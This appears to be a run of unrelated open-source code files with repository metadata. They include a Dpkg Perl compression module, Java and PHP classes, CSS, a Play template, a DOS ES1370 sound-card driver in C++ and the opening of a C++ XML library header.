if defined($level) and not compression_is_valid_level($level);
$default_compression_level = $level;
}
=item compression_is_valid_level($level)
Returns a boolean indicating whether $level is a valid compression level
(it must be either a number between 1 and 9 or "fast" or "best")
=cut
sub compression_is_valid_level {
my ($level) = @_;
return $level =~ /^([1-9]|fast|best)$/;
}
=back
=head1 CHANGES
=head2 Version 1.02
New function: compression_get_file_extension_regex()
Deprecated variables: $default_compression, $default_compression_level
and $compression_re_file_ext
=head2 Version 1.01
Default compression level is not global any more, it is per compressor type.
=head1 AUTHOR
Raphaël Hertzog <hertzog@debian.org>.
=cut
1;
|
gautamMalu/rootfs_xen_arndale
|
usr/share/perl5/Dpkg/Compression.pm
|
Perl
|
gpl-2.0
| 6,279
|
package org.oop.model.entities;
/**
* Rappresenta i dati riguardanti un'iscrizione
*/
public class Iscrizione {
private int id;
private int anno;
private int annoAccademico;
private Utente utente;
public Iscrizione() {
id = 0;
}
public int getId() {
return id;
}
public Iscrizione setId(int id) {
this.id = id;
return this;
}
public int getAnno() {
return anno;
}
public Iscrizione setAnno(int anno) {
this.anno = anno;
return this;
}
public int getAnnoAccademico() {
return annoAccademico;
}
public Iscrizione setAnnoAccademico(int annoAccademico) {
this.annoAccademico = annoAccademico;
return this;
}
public Utente getUtente() {
return utente;
}
public Iscrizione setUtente(Utente utente) {
this.utente = utente;
return this;
}
}
|
ilario-pierbattista/studeasy
|
src/org/oop/model/entities/Iscrizione.java
|
Java
|
gpl-2.0
| 938
|
.ac_results {
padding: 0px;
border: 1px solid black;
background-color: white;
overflow: hidden;
z-index: 99999;
}
.ac_results ul {
width: 100%;
list-style-position: outside;
list-style: none;
padding: 0;
margin: 0;
}
.ac_results li {
margin: 0px;
padding: 2px 5px;
cursor: default;
display: block;
/*
if width will be 100% horizontal scrollbar will apear
when scroll mode will be used
*/
/*width: 100%;*/
font: menu;
font-size: 12px;
/*
it is very important, if line-height not setted or setted
in relative units scroll will be broken in firefox
*/
line-height: 16px;
overflow: hidden;
}
.ac_loading {
background: white url('../images/indicator.gif') right center no-repeat;
}
.ac_odd {
background-color: #eee;
}
.ac_over {
background-color: #0A246A;
color: white;
}
|
kosmosby/medicine-prof
|
components/com_awdwall/css/jquery.autocomplete.css
|
CSS
|
gpl-2.0
| 855
|
#!/usr/bin/perl -w
# file: foreach2.pl
use strict;
my @a = (2, 4, 6, 8);
foreach my $i (@a) {
$i = $i * 2;
}
print "@a\n";
|
vishwanathsingh/workspace
|
example/perlexamples/foreach2.pl
|
Perl
|
gpl-2.0
| 130
|
@* LICENSE
*
* Copyright (c) 2015, The Agile Factory SA and/or its affiliates. All rights
* reserved.
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*@
@(
portfolioEntry: models.pmo.PortfolioEntry,
lastPlanning: models.governance.LifeCycleInstancePlanning,
governanceListViewsAsMap: Map[Long, utils.table.GovernanceListView],
plannedDatesForm: Form[utils.form.PlannedDatesFormData]
)
@import helper._
@import bootstrap3._
@import be.objectify.deadbolt.java.views.html._
@import be.objectify.deadbolt.core.utils.TemplateUtils._
@import framework_views.parts
@import framework_views.parts.formats._
@import views.html.modelsparts._
@import java.lang.Long; var previousMilestoneId=0L
@breadcrump=@{
Seq(
(display_portfolio_entry(portfolioEntry, false).toString,controllers.core.routes.PortfolioEntryController.overview(portfolioEntry.id).url),
("core.portfolio_entry.sidebar.governance.label", controllers.core.routes.PortfolioEntryGovernanceController.index(portfolioEntry.id).url),
("core.portfolio_entry_governance.planning.edit.title", null)
)
}
@views.html.core.portfolioentry.portfolio_entry_template(portfolioEntry, controllers.core.PortfolioEntryController.MenuItemType.GOVERNANCE, breadcrump){
<div class="panel panel-default">
<div class="panel-heading">
@parts.Msg("core.portfolio_entry_governance.planning.edit.title")
@if(lastPlanning.lifeCycleInstance.lifeCycleProcess.isFlexible) {
<div class="pull-right">
<a href="@controllers.core.routes.PortfolioEntryGovernanceController.manageAdditionalMilestone(portfolioEntry.id)" data-toggle="tooltip" title="@parts.Msg("tooltip.add")"><span class="fa fa-plus fa-lg"></span></a>
</div>
}
</div>
<div class="panel-body">
<div class="maf-form">
@if(plannedDatesForm.hasErrors()){
<div class="alert alert-danger">
<strong>@parts.Msg("standard.form.error.title")</strong><br/>
</div>
}
@helper.form(action = controllers.core.routes.PortfolioEntryGovernanceController.processEditPlanning()) {
<fieldset>
<input type="hidden" name="id" value="@portfolioEntry.id"/>
<table class="table table-condensed table-hover">
<colgroup>
<col class="col-md-4">
<col class="col-md-3">
<col class="col-md-3">
<col class="col-md-1">
<col class="col-md-1">
</colgroup>
<thead>
<tr>
<th>@parts.Msg("object.life_cycle_milestone_instance.milestone.label")</th>
<th>@parts.Msg("object.planned_life_cycle_milestone_instance.planned_date.label")</th>
<th>@parts.Msg("object.life_cycle_milestone_instance.status.label")</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
@repeat(plannedDatesForm("plannedDates")) { plannedDateField =>
@defining(governanceListViewsAsMap.get(java.lang.Long.parseLong(plannedDateField("plannedDateId").value.get))) { governanceListView =>
<tr>
<td>
@display_milestone(governanceListView.milestone)
</td>
<td>
@if(governanceListView.planningId.equals(lastPlanning.id) && !governanceListView.isPending) {
<input type="hidden" id="@plannedDateField("plannedDateId").id" name="@plannedDateField("plannedDateId").name" value="@plannedDateField("plannedDateId").value.get"/>
@parts.dateinput(plannedDateField("plannedDate"), "")
} else {
@display_date(governanceListView.lastPlannedDate)
}
</td>
<td>
@display_list_of_values(governanceListView.status)
</td>
<td class="text-right rowlink-skip">
@if(governanceListView.milestone.isAdditional) {
<a href="@controllers.core.routes.PortfolioEntryGovernanceController.manageAdditionalMilestone(portfolioEntry.id, governanceListView.milestone.id, previousMilestoneId).url" data-toggle="tooltip" title="@parts.Msg("tooltip.edit")"
><span class="fa fa-pencil-square-o"></span></a>
}
</td>
<td class="text-right rowlink-skip">
@if(governanceListView.milestone.isAdditional) {
<a
onclick="return maf_confirmAction('@parts.Msg("core.portfolio_entry_governance.planning.edit.milestone.delete.confirmation.message")');"
href="@controllers.core.routes.PortfolioEntryGovernanceController.deleteAdditionalMilestone(portfolioEntry.id, governanceListView.milestone.id).url" data-toggle="tooltip" title="@parts.Msg("tooltip.delete")"
><span class="fa fa-trash"></span></a>
}
</td>
</tr>
@{previousMilestoneId=governanceListView.milestone.id}
}
}
</tbody>
</table>
<input class="btn btn-primary" type="submit" value="@parts.Msg("button.save")" />
<a class="btn btn-default" href="@controllers.core.routes.PortfolioEntryGovernanceController.index(portfolioEntry.id)">@parts.Msg("button.cancel")</a>
</fieldset>
}
</div>
</div>
</div>
<script language="JavaScript">
$(document).ready(function() {
var plannedDates = $('input[name$=plannedDate]');
var updated = false;
plannedDates.each(function (index, input) {
$(input).datepicker().on('changeDate', function(e) {
if (!updated) {
updated = true;
if (plannedDates[index + 1].value === "") {
$(plannedDates[index + 1]).datepicker('setDate', input.value);
}
} else {
updated = false;
}
});
});
});
</script>
}
|
theAgileFactory/maf-desktop-app
|
app/views/core/portfolioentrygovernance/planning_edit.scala.html
|
HTML
|
gpl-2.0
| 8,409
|
<?php
use PoP\ComponentModel\State\ApplicationState;
class PoP_LocationPosts_CommonUserRoles_ProcessorHooks
{
public function __construct()
{
\PoP\Root\App::addFilter(
'PoPSP_URE_EM_Module_Processor_SidebarMultiples:inner-modules:author',
array($this, 'getInnerSubmodules')
);
}
public function getInnerSubmodules($modules)
{
$author = \PoP\Root\App::getState(['routing', 'queried-object-id']);
if (gdUreIsOrganization($author)) {
$modules[] = [GD_URE_Module_Processor_CustomSidebarDataloads::class, GD_URE_Module_Processor_CustomSidebarDataloads::MODULE_DATALOAD_AUTHOR_SIDEBAR_ORGANIZATION];
} elseif (gdUreIsIndividual($author)) {
$modules[] = [GD_URE_Module_Processor_CustomSidebarDataloads::class, GD_URE_Module_Processor_CustomSidebarDataloads::MODULE_DATALOAD_AUTHOR_SIDEBAR_INDIVIDUAL];
}
return $modules;
}
}
/**
* Initialization
*/
new PoP_LocationPosts_CommonUserRoles_ProcessorHooks();
|
leoloso/PoP
|
layers/Legacy/Schema/packages/migrate-everythingelse/migrate/plugins/pop-locationposts-processors/plugins/pop-commonuserroles/library/processor-hooks/processor-hooks.php
|
PHP
|
gpl-2.0
| 1,031
|
/* SexyAL - Simple audio abstraction library.
Copyright (c) 2014 Mednafen Team
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
Notes:
hard-coded 16-bit stereo support to minimize buffer position timing granularity, and to simplify stuff
tried to use the sample count register for better granularity, but I couldn't get it to stop counting(important during init!), and it was just being a
headache overall
noticed a bug in stereo mode that might have been related to making use of P2_PAUSE in an earlier revision of the code...or maybe the sample
count register not behaving how I thought it did was to blame for writing to the wrong position in the DMA buffer and making sound sound horrible.
*/
#include "dos_common.h"
#include <algorithm>
static const int ES_DMAFIFO_BYTESIZE = 64;
static const int ES_DMAFIFO_FETCHBYTESIZE = 32;
typedef struct
{
uint16_t bdf;
uint32_t base_addr;
_go32_dpmi_seginfo dmabuf;
_go32_dpmi_seginfo garbagebuf; // Used in preventing errant writes(reported es1370 bug).
uint64_t read_counter; // In frames, not bytes.
uint64_t write_counter; // In frames, not bytes.
uint16_t prev_dmacounter;
bool paused;
} ES1370_Driver_t;
static void wrdm32(ES1370_Driver_t* ds, uint32_t offset, uint32_t value)
{
outportl(ds->base_addr + offset, value);
//printf("wrdm32() %02x:%08x ;;; %08x\n", offset, value, inportl(ds->base_addr + offset));
}
static uint32_t rddm32(ES1370_Driver_t* ds, uint32_t offset)
{
return inportl(ds->base_addr + offset);
}
static void wrdm16(ES1370_Driver_t* ds, uint32_t offset, uint16_t value)
{
outportw(ds->base_addr + offset, value);
//printf("wrdm16() %02x:%04x ;;; %04x\n", offset, value, inportw(ds->base_addr + offset));
}
static uint16_t rddm16(ES1370_Driver_t* ds, uint32_t offset)
{
return inportw(ds->base_addr + offset);
}
static void wresmem32(ES1370_Driver_t* ds, uint32_t offset, uint32_t value)
{
wrdm32(ds, 0x0C, offset >> 4);
wrdm32(ds, 0x30 + (offset & 0xF), value);
}
static uint32_t rdesmem32(ES1370_Driver_t* ds, uint32_t offset)
{
wrdm32(ds, 0x0C, offset >> 4);
return rddm32(ds, 0x30 + (offset & 0xF));
}
static void wrcodec(ES1370_Driver_t* ds, uint8 addr, uint8 value, bool dobusywait = true)
{
while(rddm32(ds, 0x04) & (1U << 8));
wrdm32(ds, 0x10, (addr << 8) | value);
while(rddm32(ds, 0x04) & (1U << 8));
if(dobusywait)
while(rddm32(ds, 0x04) & (1U << 9));
}
static uint16_t GetDMACounter(ES1370_Driver_t* ds)
{
uint32_t a, b;
unsigned counter = 0;
do
{
a = rdesmem32(ds, 0xCC);
b = rdesmem32(ds, 0xCC);
} while(a != b);
if(counter > 1)
printf("DMA MOO: %d\n", counter);
return(a >> 16);
}
static void UpdateReadCounter(ES1370_Driver_t* ds)
{
uint16_t cur_dmacounter = GetDMACounter(ds);
ds->read_counter -= ds->prev_dmacounter;
ds->read_counter += cur_dmacounter;
if(cur_dmacounter < ds->prev_dmacounter)
ds->read_counter += (ds->dmabuf.size << 4) >> 2;
ds->prev_dmacounter = cur_dmacounter;
}
static int Pause(SexyAL_device *device, int state)
{
ES1370_Driver_t *ds = (ES1370_Driver_t *)device->private_data;
wrdm32(ds, 0x00, (rddm32(ds, 0x00) &~ (1U << 5)) | ((!state) << 5) );
ds->paused = state;
return(state);
}
static int RawCanWrite(SexyAL_device *device, uint32_t *can_write)
{
ES1370_Driver_t *ds = (ES1370_Driver_t *)device->private_data;
UpdateReadCounter(ds);
// Handle underflow.
if(ds->write_counter < ds->read_counter)
ds->write_counter = ds->read_counter;
*can_write = (device->buffering.buffer_size - (ds->write_counter - ds->read_counter)) << 2;
return(1);
}
static int RawWrite(SexyAL_device *device, const void *data, uint32_t len)
{
ES1370_Driver_t *ds = (ES1370_Driver_t *)device->private_data;
uint32_t pl_0, pl_1;
const uint8_t* data_d8 = (uint8_t*)data;
do
{
uint32_t cw;
uint32_t i_len;
uint32_t writepos;
if(!RawCanWrite(device, &cw)) // Caution: RawCanWrite() will modify ds->write_counter on underflow.
return(0);
writepos = (ds->write_counter << 2) % (ds->dmabuf.size << 4);
i_len = std::min<uint32>(cw, len);
pl_0 = std::min<uint32>(i_len, (ds->dmabuf.size << 4) - writepos);
pl_1 = i_len - pl_0;
if(pl_0)
_dosmemputb(data_d8, pl_0, (ds->dmabuf.rm_segment << 4) + writepos);
if(pl_1)
_dosmemputb(data_d8 + pl_0, pl_1, (ds->dmabuf.rm_segment << 4));
ds->write_counter += i_len >> 2;
data_d8 += i_len;
len -= i_len;
if(ds->paused)
Pause(device, false);
} while(len > 0);
return(1);
}
static int Clear(SexyAL_device *device)
{
ES1370_Driver_t *ds = (ES1370_Driver_t *)device->private_data;
const uint32_t base = ds->dmabuf.rm_segment << 4;
const uint32_t siz = ds->dmabuf.size << 4;
Pause(device, true);
_farsetsel(_dos_ds);
for(unsigned i = 0; i < siz; i += 4)
_farnspokel(base + i, 0);
UpdateReadCounter(ds);
ds->write_counter = ds->read_counter;
return(1);
}
static void Cleanup(ES1370_Driver_t* ds)
{
if(ds->dmabuf.size != 0)
{
_go32_dpmi_free_dos_memory(&ds->dmabuf);
ds->dmabuf.size = 0;
}
if(ds->garbagebuf.size != 0)
{
_go32_dpmi_free_dos_memory(&ds->garbagebuf);
ds->garbagebuf.size = 0;
}
if(ds->base_addr != 0)
{
wrdm32(ds, 0x00, (1 << 31) | (1 << 0));
}
}
static int RawClose(SexyAL_device *device)
{
ES1370_Driver_t *ds = (ES1370_Driver_t *)device->private_data;
if(ds)
{
Cleanup(ds);
free(ds);
device->private_data = NULL;
}
return(1);
}
pci_vd_pair SexyAL_DOS_ES1370_PCI_IDs[] =
{
{ 0x1274, 0x5000 },
{ 0 }
};
#define ES1370_INIT_CLEANUP \
if(device) free(device); \
if(ds) { Cleanup(ds); free(ds); } \
if(pis != -1) { __dpmi_get_and_set_virtual_interrupt_state(pis); pis = -1; }
SexyAL_device *SexyALI_DOS_ES1370_Open(const char *id, SexyAL_format *format, SexyAL_buffering *buffering)
{
SexyAL_device *device = NULL;
ES1370_Driver_t *ds = NULL;
int pis = -1;
if(!(device = (SexyAL_device *)calloc(1, sizeof(SexyAL_device))))
{
ES1370_INIT_CLEANUP
return(NULL);
}
if(!(ds = (ES1370_Driver_t *)calloc(1, sizeof(ES1370_Driver_t))))
{
ES1370_INIT_CLEANUP
return(NULL);
}
device->private_data = ds;
//pis = __dpmi_get_and_disable_virtual_interrupt_state();
if(!pci_bios_present())
{
fprintf(stderr, "ES1370: PCI BIOS not detected!\n");
ES1370_INIT_CLEANUP
return(NULL);
}
if(!pci_find_device(SexyAL_DOS_ES1370_PCI_IDs, id ? atoi(id) : 0, &ds->bdf))
{
fprintf(stderr, "ES1370: Device not found!\n");
ES1370_INIT_CLEANUP
return(NULL);
}
// Grab base address of port I/O stuff.
ds->base_addr = pci_read_config_u32(ds->bdf, 0x10) &~ 1;
//printf("BASSSSE: %08x %08x\n", ds->base_addr, pci_read_config_u32(ds->bdf, 0x10));
//
//
//
format->channels = 2;
format->sampformat = SEXYAL_FMT_PCMS16;
format->revbyteorder = false;
format->noninterleaved = false;
if(!buffering->ms)
buffering->ms = 24;
buffering->period_size = ES_DMAFIFO_FETCHBYTESIZE >> 2; // Sorta-kinda.
//
// We're going to use DAC2(codec).
//
// Interestingly, according to the AK4531 datasheet, CODEC-DAC has better stopband attenuation than the FM-DAC,
// but worse passband ripple.
//
// From ALSA(re PCLKDIV):
// #define ES_1370_SRCLOCK 1411200
// #define ES_1370_SRTODIV(x) (ES_1370_SRCLOCK/(x)-2)
//
// 1411200
int pclkdiv = (int)floor(0.5 + 1411200.0 / format->rate) - 2;
if(pclkdiv < 27) // 48662
pclkdiv = 27;
if(pclkdiv > 350) // 4009
pclkdiv = 350;
format->rate = (unsigned)floor(0.5 + 1411200.0 / (pclkdiv + 2)); // TODO: take out round, use double for format->rate
buffering->buffer_size = buffering->ms * format->rate / 1000;
// 0x10000 = maximum DMA frame size thingy in longwords(=frames since we're hardcoded to stereo 16-bit)
// * 2 so we can detect wraparound reliably.
//
if((buffering->buffer_size * 2) > 0x10000)
buffering->buffer_size = 0x10000 / 2;
buffering->latency = buffering->buffer_size + (ES_DMAFIFO_BYTESIZE >> 2) + 14;
memset(&ds->dmabuf, 0, sizeof(ds->dmabuf));
ds->dmabuf.size = (((buffering->buffer_size * 2) << 2) + 15) / 16;
if(_go32_dpmi_allocate_dos_memory(&ds->dmabuf) != 0)
{
fprintf(stderr, "ES1370: error allocating DMA memory.");
ES1370_INIT_CLEANUP
return(NULL);
}
memset(&ds->garbagebuf, 0, sizeof(ds->garbagebuf));
ds->garbagebuf.size = (4 + 15) / 16;
if(_go32_dpmi_allocate_dos_memory(&ds->dmabuf) != 0)
{
fprintf(stderr, "ES1370: error allocating garbage memory.");
ES1370_INIT_CLEANUP
return(NULL);
}
//
// Clear DMA buffer memory.
//
{
const uint32_t base = ds->dmabuf.rm_segment << 4;
const uint32_t siz = ds->dmabuf.size << 4;
_farsetsel(_dos_ds);
for(unsigned i = 0; i < siz; i += 4)
_farnspokel(base + i, 0);
}
// 0x00:
// ADC stopped, pclkdiv, other stuff disabled, codec enabled.
wrdm32(ds, 0x00, (1 << 31) | (pclkdiv << 16) | (1 << 1) | (1 << 0));
// 0x20:
// P2_END_INC = 2, P2_ST_INC = 0, P2_LOOP_SEL=0(loop mode), P2_PAUSE=0, P2_INTR_EN=0, P2_DAC_SEN=0, P2 16-bit 2-channel mode
wrdm32(ds, 0x20, (2 << 19) | (0 << 16) | (0 << 14) | (0 << 12) | (0 << 9) | 0xC);
ds->paused = true;
wrdm32(ds, 0x28, 0); // DAC2 Sample count register(we don't use it anymore because it's evil, EVIL I SAY)
ds->prev_dmacounter = 0;
ds->read_counter = 0;
ds->write_counter = 0;
//
//
wresmem32(ds, 0xC8, ds->dmabuf.rm_segment << 4); // Buffer physical address.
wresmem32(ds, 0xCC, ((ds->dmabuf.size << 4) >> 2) - 1); // Buffer size(lower 16-bits).
wresmem32(ds, 0xD0, ds->garbagebuf.rm_segment << 4);
wresmem32(ds, 0xD4, 0);
wresmem32(ds, 0xD8, ds->garbagebuf.rm_segment << 4);
wresmem32(ds, 0xDC, 0);
// 0x00:
// ADC stopped, pclkdiv, XCTL0=1(possibly needed for CT4700 cards?), DAC2 playback disabled, joystick enabled, codec enabled, SERR disabled
wrdm32(ds, 0x00, (1 << 31) | (pclkdiv << 16) | (1 << 8) | (0 << 5) | (1 << 2) | (1 << 1) | (1 << 0));
//
// Initialize AK4531 stuff
//
// Reset
wrcodec(ds, 0x16, 0x02, false); // Reset, no power down.
for(unsigned i = 0; i < 1000; i++) // Needs at least 150ns?
rddm32(ds, 0x10);
wrcodec(ds, 0x16, 0x03); // No reset, no power down.
wrcodec(ds, 0x17, 0x00); // Clock select.
wrcodec(ds, 0x00, 0x00); // Master L, 0dB attenuation.
wrcodec(ds, 0x01, 0x00); // Master R, 0dB attenuation.
wrcodec(ds, 0x02, 0x06); // Voice L, 0dB gain.
wrcodec(ds, 0x03, 0x06); // Voice R, 0dB gain.
// MUTE and -50dB the rest
for(unsigned i = 0x04; i < 0x0F; i++)
wrcodec(ds, i, 0x80);
wrcodec(ds, 0x0F, 0x87); // Mono-out, mute and -28dB.
wrcodec(ds, 0x10, 0x00); // Output mixer SW1
wrcodec(ds, 0x11, 0x03 << 2); // Output mixer SW2(VoiceL and VoiceR enabled).
// Disable inputs.
wrcodec(ds, 0x12, 0x00);
wrcodec(ds, 0x13, 0x00);
wrcodec(ds, 0x14, 0x00);
wrcodec(ds, 0x15, 0x00);
//
// End AK4531 init
//
printf("DMABUF addr=0x%08x, size=0x%08x\n", ds->dmabuf.rm_segment << 4, ds->dmabuf.size << 4);
printf("ES1370 init done.\n");
memcpy(&device->format, format, sizeof(SexyAL_format));
memcpy(&device->buffering, buffering, sizeof(SexyAL_buffering));
device->RawCanWrite = RawCanWrite;
device->RawWrite = RawWrite;
device->RawClose = RawClose;
device->Clear = Clear;
device->Pause = Pause;
if(pis != -1)
__dpmi_get_and_set_virtual_interrupt_state(pis);
return(device);
}
|
FabioPinheiro/Mednafen
|
mednafen/src/sexyal/drivers/es1370.cpp
|
C++
|
gpl-2.0
| 12,159
|
package ru.andreyviktorov.mahjong;
public class Static {
public static Mahjong mahjong;
}
|
4ndv/gdx-mahjong
|
core/src/ru/andreyviktorov/mahjong/Static.java
|
Java
|
gpl-2.0
| 96
|
<?php
/*
* Short description
* @author pearlcore <info@pearlcore.com>
*
*/
$args = $this->pc_get_args($group);
$members = new WP_Query($args);
?>
<style>
.honeycombs .inner_span{
background-color: #<?php echo $this->options['honeycomb_color']; ?>;
}
.pc_our_team_lightbox .name{ color: #<?php echo $this->options['honeycomb_color']; ?>; }
#pc_our_team_lightbox .progress{ background: #<?php echo $this->options['honeycomb_color']; ?>;}
.pc_our_team_lightbox.honeycomb .progress{ background: #<?php echo $this->options['honeycomb_color']; ?> !important;}
.pc_our_team_lightbox.honeycomb .name{ color: #<?php echo $this->options['honeycomb_color']; ?>; }
#pc_our_team_lightbox .pc_our_team_lightbox .title{ color: #<?php echo $this->options['honeycomb_color']; ?>; }
</style>
<div id="pc_our_team" class="hc sc-col3 honeycombs honeycombs-wrapper">
<div class="honeycombs-inner-wrapper">
<?php
if ($members->have_posts()) {
if (isset($this->options['single_template']) && !empty($this->options['single_template'])):
$pc_single_view_class = 'pc_team_single_' . $this->options['single_template'];
else:
$pc_single_view_class = '';
endif;
while ($members->have_posts()) {
$members->the_post();
?>
<div itemscope="" itemtype="http://schema.org/Person" class="pc_team_member comb <?php echo $pc_single_view_class; ?>">
<?php
if (has_post_thumbnail()) {
$medium_image_url = wp_get_attachment_image_src(get_post_thumbnail_id($members->ID), 'medium');
$sa_user_image = $medium_image_url[0];
echo '<img src="' . $sa_user_image . '" class="attachment-medium wp-post-image"/>';
} else {
$sa_user_image = PC_TEAM_URL . 'inc/img/noprofile.jpg';
echo '<img src="' . $sa_user_image . '" class="attachment-medium wp-post-image"/>';
}
?>
<span style="display: none;">
<b>
<?php if ('yes' == $this->options['name']) : ?>
<div itemprop="name" class="pc_team_member_name">
<a href="<?php the_permalink() ?>" rel="bookmark" >
<?php the_title() ?>
</a>
</div>
<?php endif; ?>
<?php if ('yes' == $this->options['title']) : ?>
<div itemprop="jobtitle" class="pc_team_member_jobtitle">
<?php echo get_post_meta(get_the_ID(), 'team_member_title', true); ?>
</div>
<?php endif; ?>
<div class="pc_team_content" style="display:none;">
<?php the_content(); ?>
</div>
<div class='icons <?php echo 'yes' == $this->options['social'] ? '' : 'hidden'; ?>' style="display:none;">
<?php
$this->pc_get_social(get_the_ID());
?>
</div>
<div class="pc_team_skills">
<?php echo $this->pc_get_skills_html(get_the_ID()); ?>
</div>
</b>
</span>
</div>
<?php
}
} else {
echo 'There are no team members to display';
}
?>
</div>
</div>
|
wp-plugins/our-team
|
inc/template/honey_comb.php
|
PHP
|
gpl-2.0
| 4,090
|
//----------------------------------------------------------------------------
///@file
///MyXML library header file.
///
///@par License:
///@verbatim
///MyXML - My XML library for parsing and manipulating XML files.
///Copyright (C) 2005-06 Tomasz Nurkiewicz
///For full license text see license.txt.
///
///This program is free software; you can redistribute it and/or modify it under the terms of
///the GNU General Public License as published by the Free Software Foundation;
///either version 2 of the License, or (at your option) any later version.
///
///This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
///without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
///See the GNU General Public License for more details.
///
///You should have received a copy of the GNU General Public License along with this program;
///if not, write to the Free Software Foundation, Inc.,
///59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
///@endverbatim
///
///@author Tomasz Nurkiewicz, T.Nurkiewicz@stud.elka.pw.edu.pl
///@date Jul 2005-Mar 2006
//----------------------------------------------------------------------------
#ifndef MYXML_H
#define MYXML_H
//----------------------------------------------------------------------------
#include <stdexcept>
#include <iostream>
#include <map>
#include <boost/lexical_cast.hpp>
//----------------------------------------------------------------------------
///MyXML library for reading, processing and saving data in XML format.
namespace MyXML
{
//----------------------------------------------------------------------------
///Exception class for MyXML routines.
///@author Tomasz Nurkiewicz, T.Nurkiewicz@stud.elka.pw.edu.pl
///@date Jul 2005-Mar 2006
///@par
///This exception is thrown when you're trying to violate some XML conditions or after erros in
///input/output.
class Exception: public std::runtime_error
{
public:
///Constructor.
///Passes message into base class runtime_error.
///@param exMsg XML error message which will be available using runtime_error::what().
Exception(const std::string& exMsg): runtime_error(exMsg) {}
};
//----------------------------------------------------------------------------
class Key;
///Multimap object to store the subkeys.
///First element of multimap (key) is the string containing the key name. Second one stores
///the key itself.
///@sa Key class.
typedef std::multimap<std::string, Key> KeysMap;
///Iterator in keys multimap.
///Allows to iterate throught the keys container.
///@sa Key class.
typedef KeysMap::iterator KeyIterator;
///Iterator in keys multimap.
///Allows to iterate throught the keys container without allowing to change the keys.
///@sa Key class.
typedef KeysMap::const_iterator KeyConstIterator;
///Pair of keys container iterators.
///Used to store the pair of two iterators within the keys container.
///@sa Key class.
///@sa keys(const std::string& keyName)
typedef std::pair<KeyIterator, KeyIterator> KeysRange;
///Pair of keys container iterators.
///Used to store the pair of two const iterators within the keys container.
///@sa Key class.
///@sa keys(const std::string& keyName) const
typedef std::pair<KeyConstIterator, KeyConstIterator> KeysConstRange;
///Single XML key including all sub keys.
///XML key is all the data between tags tag and /tag.
///@par Definitions:
///This is a typical XML key:
///@verbatim
/// <data>
/// <key1 attribute1"Attribute 1 value" attribute2="Attribute 2 value">
/// <subKey>Sub Key value</subKey>
/// </key1>
/// </data>
///@endverbatim
///Assume that Key object corresponds to key1 key. This key has 2 attributes attribute1 and
///attribute2. It has one sub key called subKey. It doesn't have a value (key cannot have
///simultaneously subkeys and value). But the nested key subKey has a value "Sub Key value".
///If this was the content of XML file (proceeded with a XML header), data would be called
///the topmost key.
///You'll learn how to read, change and clear all those part of the key.
///@par Example:
///To have a basic felling how to use the class, consider the following example:
///@code
/// #include "MyXML/myxml.h"
/// #include <iostream>
/// using namespace std;
///
/// int main()
/// {
/// MyXML::Key key;
/// key = "data";
/// key["key1"] = "Key 1 value";
/// key["key2"].attribute("attr2") = "Attribute 2 value";
/// key["key3"]["subKey3-1"] = "Sub Key 3-1 value";
/// key["key3"]["subKey3-2"].attribute("attr3-2") = "Attribute 3-2 value";
/// key["key3"]["subKey3-2"] = "Sub Key 3-2 value";
/// for(int i = 1; i <= 4; ++i)
/// {
/// MyXML::Key& newKey = key["key4"].insert("subKey");
/// newKey.attribute("attr4") = lexical_cast<std::string>(i);
/// newKey = i * 1000;
/// }
/// cout << key;
/// }
///@endcode
///This code will produce the output below:
///@verbatim
/// <?xml version="1.0" ?>
/// <data>
/// <key1>Key 1 value</key1>
/// <key2 attr2="Attribute 2 value" />
/// <key3>
/// <subKey3-1>Sub Key 3-1 value</subKey3-1>
/// <subKey3-2 attr3-2="Attribute 3-2 value">Sub Key 3-2 value</subKey3-2>
/// </key3>
/// <key4>
/// <subKey attr4="1">1000</subKey>
/// <subKey attr4="2">2000</subKey>
/// <subKey attr4="3">3000</subKey>
/// <subKey attr4="4">4000</subKey>
/// </key4>
/// </data>
///@endverbatim
class Key
{
private:
///The character to use when indenting tags.
///Nested tags are put in single line and indented using this character.
///@sa toStream()
static const char INDENT_CHAR = '\t';
///Value of a key.
///@sa value() to see how to get and change this information.
std::string value_;
///List of all key attributes and its values.
///First element of a map is the attribute name and the second one stores its value.
///@par Meaning in topmost key.
///The value has a special meaning in topmost key. Because topmost key cannot have a value,
///it is used as the topmost key name.
///@note This variable is ignored in topmost key.
///@sa attribute() to see how to get and change this information.
std::map<std::string, std::string> attributes;
///All keys nested in the key.
///First element in multimap is the key name and the second one is a Key object itself.
///Please not that the nested keys name are stored in this multimap, not in the Key object.
///This means when you have a particular Key object, you'll have access to its attributes,
///value and all sub keys, but the key name is stored higher in the hierarchy.
///@sa operator[]
///@sa keys()
KeysMap keys_;
///Puts the specified key in given output stream.
///Prints the keyName value, all the key attributes and then calls
///streamAllSubKeys() to print all the nested keys.
///@param os Output stream to store the key information. Typically this is a file stream.
///@param keyName Name of the key. As mentioned in keys_ description, this information isn't
///stored in the key, it must be given explicitly.
///@param indent How many INDENT_CHAR chars to use at the beginning of each line to indent it.
///@sa loadFromFile()
